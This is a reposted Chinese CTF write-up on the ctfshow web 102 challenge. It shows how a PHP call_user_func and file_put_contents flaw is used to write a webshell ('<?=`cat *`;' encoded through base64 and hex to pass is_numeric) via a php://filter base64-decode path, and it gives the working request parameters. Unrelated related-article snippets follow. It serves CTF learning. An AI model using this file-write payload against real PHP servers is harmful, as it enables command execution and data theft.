ctfshow-web入门-102

news2024/10/7 10:13:27

这个题我想记录一下,主要是这个方法属实是有点惊艳到我了。故而进行记录,也为了方便大家阅读理解。

看题目,根据题目我写一下我的分析:

$_POST传入一个v1,$_GET传入一个v2,一个v3。

赋值符号=   优先级高于and,所以$v2=$v4

is_numeric — 检测变量是否为数字或数字字符。

bool is_numeric ( mixed $var )

如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE

substr — 返回字符串的子串

说明 

string substr( string $string, int $start[, int $length] )

返回字符串 string 由 start 和 length 参数指定的子字符串。

call_user_func — 把第一个参数作为回调函数调用

说明 

mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 

 file_put_contents — 将一个字符串写入文件

 

<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

根据上面的函数解释再看一遍源代码。

分析出来:1、 $s = substr($v2,2);由此可知,返回$v2的前三位;

                  2、$str = call_user_func($v1,$s);由此可知$v1是函数,$s是参数

                  3、给v3一定要传入一个文件名字,这样才能构造出来一个接受$str的文件

原本我的想法是:$v3传1.php,$v1传system,但是卡在了$v2传不下去了

参考了大师傅的想法和各位万能的网友的wp后,感觉大有所获,来详细分享。

大师傅wp:

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
 输出的是 5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
 

 所以对应的我们可以反着来

同时在参考大家的wp的时候学到了一个知识点:在以上$c前加11可以使其在base64编码时产生乱码,可以绕过substr的截断,这点真的很重要。

POST传入:?v1=hex2bin     //这个是call_user_func的前面那个数,就是用作函数

GET传入:?v2=115044383959474e6864434171594473    //加入11造成base64编码前两位乱码绕过substr截断。

                ?V3=php://filter/write=convert.base64-decode/resource=1.php   //将被转化回去的base64数据再次进行解码,用php协议

hex2bin — 转换十六进制字符串为二进制字符串

bin2hex — 函数把包含数据的二进制字符串转换为十六进制值

总结:

传入参数前:首先构造一个命令----》其次将他base64加密----》然后把base64加密的字符串进行16进制转化

目的:构造一条全是数字的经过层层解密后可执行的数据

传入参数后:将原先的输出的全是数字的命令传入v2,并且加上11,绕过substr截断-----》然后再用v1的hex2bin将数字数据转化成base64数据-----》传入v3文件经过php://filter伪协议进行解密----》执行命令

目的:其实就是一个解密的过程

以下为此方法构造命令的新姿势,只是谈谈思路:

那么已经有了这种思路我们是否能够通过这种思路自己构造命令呢??

当然可行,试试。

 构造一条获取f*文件的命令,创建一个1.php文件

$a='<?=`cat f*`;';
$b=base64_encode($a); 
$c=bin2hex($b);     

执行代码,得到命令。

$a='<?=`cat f*`;';
$b=base64_encode($a);  
$c=bin2hex($b);    
输出   5044383959474e686443426d4b6d4137

不太行,有字母

不死心,再试试


$a='<?=`tac *`;';
$b=base64_encode($a); 
$c=bin2hex($b);

echo "$c";

输出的c值是504438395948526859794171594473

完美命令达成啦!!!没有字母真的一个也没有!!!

POST:v1=hex2bin

GET:?v2=504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

但是有点可惜的是并没有把flag回显出来虽然回显出来了东西

 

还是需要查看源代码才能看到flag,很可惜啊。 

 如果有师傅能直接回显出来flag的话,真的真的真的,请教教我,谢谢各位师傅啦!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1637783.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

谷粒商城实战(021 业务-订单模块-页面设计)

Java项目《谷粒商城》架构师级Java项目实战&#xff0c;对标阿里P6-P7&#xff0c;全网最强 总时长 104:45:00 共408P 此文章包含第262p-第p266的内容 介绍 所需的页面 设计页面 新增域名 路径带/static的都到/usr/share/nginx/html文件夹下去找 其他动态请求的都负载…

2024年第二十一届 五一杯 (C题)大学生数学建模挑战赛 | 多目标优化问题,深度学习分析 | 数学建模完整代码解析

DeepVisionary 每日深度学习前沿科技推送&顶会论文&数学建模与科技信息前沿资讯分享&#xff0c;与你一起了解前沿科技知识&#xff01; 本次DeepVisionary带来的是五一杯的详细解读&#xff1a; 完整内容可以在文章末尾全文免费领取&阅读&#xff01; 首先&…

Mac M2 本地下载 Xinference

想要在Mac M2 上部署一个本地的模型。看到了Xinference 这个工具 一、Xorbits Inference 是什么 Xorbits Inference&#xff08;Xinference&#xff09;是一个性能强大且功能全面的分布式推理框架。可用于大语言模型&#xff08;LLM&#xff09;&#xff0c;语音识别模型&…

【已解决】pandas读excel中长数字变成科学计数法的问题

pandas 读excel中的长数字时&#xff0c;即使excel中已经设置为文本&#xff0c;读进df后也会自动变成科学计数法。 在日常的数据分析和处理工作中&#xff0c;Excel和pandas是数据分析师们不可或缺的得力助手。然而&#xff0c;在使用pandas读取Excel文件时&#xff0c;我们有…

基于残差神经网络的汉字识别系统+pyqt前段界面设计

研究内容: 中文汉字识别是一项具有挑战性的任务&#xff0c;涉及到对中文字符的准确分类。在这个项目中&#xff0c;目标是构建一个能够准确识别中文汉字的系统。这个任务涉及到数据集的收集、预处理、模型训练和评估等步骤。尝试了使用残差神经网络&#xff08;ResNet&#x…

Rust Rocket创建第一个hello world的Web程序 Rust Rocket开发常用网址和Rust常用命令

一、Rust Rocket简介 Rust Rocket 是一个用 Rust 语言编写的 Web 应用框架&#xff0c;它结合了 Rust 的安全性和性能优势&#xff0c;以及 Web 开发的便利性。以下是 Rust Rocket 框架的一些优点&#xff1a; 安全性&#xff1a;Rust 是一种注重安全性的编程语言&#xff0c;…

【前端探索者:从零到精通的Web前端实战专栏】

🚀 在这个代码编织梦想的时代,Web前端作为互联网的颜值担当,正以日新月异的速度重塑数字世界。想要在前端江湖里游刃有余,你需要的不仅仅是一把锋利的剑,更是一套完整的武功秘籍!今天,我们就为你揭开【Web前端】专栏的神秘面纱,带你从菜鸟到大神,一飞冲天! 📚 专栏…

Text-to-SQL小白入门(12)Awesome-Text2SQL开源项目star破1000

项目介绍 项目地址 23年9月份刚开源这个项目&#xff0c;大半年过去了&#xff0c;star数终于破1000啦&#xff0c;决定在知乎更新一下内容&#xff0c;看看内容变化&#xff0c;知乎有上当时项目介绍的链接&#xff1a;追光者&#xff1a;Text-to-SQL小白入门&#xff08;六&…

【Qt QML】Frame组件

Frame&#xff08;框架&#xff09;包含在&#xff1a; import QtQuick.Controls继承自Pane控件。用于在可视框架内布局一组逻辑控件。简单来说就是用来包裹和突出显示其他可视元素。Frame不提供自己的布局&#xff0c;但需要自己对元素位置进行设置和定位&#xff0c;例如通过…

Spring Boot Admin

概述 Spirng Boot Admin 登录页面 Spring Boot Admin是一个用于管理Spring Boot应用的监控工具,它允许你查看和管理多个Spring Boot应用实例。用于应用信息进行界面化的展示&#xff0c;常常辅助我们开发人员快速查看服务运行状态在微服务架构中&#xff0c;Spring Boot Admin通…

【linux】进程(深入理解linux进程状态)

开始之前先说一个与本文无关的小知识&#xff0c;chdir命令可以更改当前进程的工作目录哦。 目录 linux具体进程状态&#xff1a;R && S&#xff1a;T && t&#xff1a;D&#xff1a;僵尸进程 && 孤儿进程&#xff1a; OS的理论线&#xff1a;运行&…

JMeter性能压测脚本录制

第一步&#xff1a;电脑打开控制面板设置代理服务器 第二步&#xff1a;jmeter的测试计划添加一个HTTP&#xff08;S&#xff09;脚本记录器 在脚本记录器里配置好信息&#xff0c;然后保存为脚本文件&#xff08;.*表示限定&#xff09; 此方框内容为项目地址&#xff08;可改…

如何安装cuda版本的torch-sparse和torch-scatter

安装对应cuda版本的torch&#xff0c;确保cuda可用 使用nvidia-smi查看cuda版本&#xff0c;我的是11.4&#xff0c;然后就找到pytorch历史版本&#xff0c;页面搜索cuda 11.4&#xff0c;没搜到&#xff0c;继续往小版本搜&#xff0c;搜到cuda 11.3&#xff0c;果断安装&…

日拱一卒,月进一步(10)

303. 区域和检索 - 数组不可变 - 力扣&#xff08;LeetCode&#xff09; 动态规划~ 前缀和 最朴素的思想是存储数组nums的值&#xff0c;每次调用sumRange时&#xff0c;通过循环的方法计算数组nums从下标i到下标j的元素和&#xff0c;需要计算j-i1个元素的和。由于每次检索…

Sobel算法:边缘提取的原理与实践【基于python、C++基于opencv的代码实现!!】

Sobel算法&#xff1a;深入解析边缘检测的原理与实现 在图像处理领域&#xff0c;边缘检测是一项至关重要的任务。其中&#xff0c;Sobel算法以其高效和稳定的性能&#xff0c;成为边缘检测中的常用方法之一。本文将深入解析Sobel算法的原理与实现&#xff0c;带您了解如何通过…

02_机器学习算法_基于XGBoost的分类预测

1. XGBoost 算法 1.1 XGBoost 的介绍 XGBoost是2016年由华盛顿大学陈天奇老师带领开发的一个可扩展机器学习系统。严格意义上讲XGBoost并不是一种模型,而是一个可供用户轻松解决分类、回归或排序问题的软件包。它内部实现了梯度提升树(GBDT)模型,并对模型中的算法进行了诸多…

通过先序和中序求后序(通过后序和中序求先序)

一、通过先序和中序求后序 二、通过后序和中序求后序 1、利用后序和中序的特点来求出二叉树 2、后序输出二叉树 如图&#xff0c;先给了一个后序和中序&#xff0c;后序的最后一个为根节点 然后在中序中查找相同的元素&#xff0c;在这个元素左边的为左子树&#xff0c;右…

最简方式安装oracle 23c free

简介 我一直认为&#xff0c;最靠谱的文档就是原厂官网的文档&#xff0c;阅读再次加工的文档都有可能把你带偏。 oracle官网提供了大量的文档&#xff0c;一个好的oracle使用者&#xff0c;应该首先是好的oracle官网阅读者。 oracle数据库作为收费颇贵的商业数据库软件&#…

C++ 优先级队列priority_queue

1、常用接口 底层使用的是堆实现&#xff0c;默认为大堆 2、理解&#xff1a; 优先级队列就是即使插入的是一个乱序的&#xff0c;但是依旧会按照有序的顺序出队列 优先级队列就是会根据大小来出队列&#xff0c;而不是谁在队头就出谁。 优先级队列底层是使用堆实现&#x…

Android Studio Jellyfish | 2023.3.1,快来看看有什么更新吧

大家节日快乐&#xff0c;在这个快乐的节日里&#xff0c;Android Studio 又迎来了它新一轮更新&#xff0c;虽然本次更新里有一大份和我们“没什么关系”&#xff0c;但是也许你的“网络”支持呢&#xff1f;一起来感受下全新的 Jellyfish &#xff08;水母&#xff09; 给我们…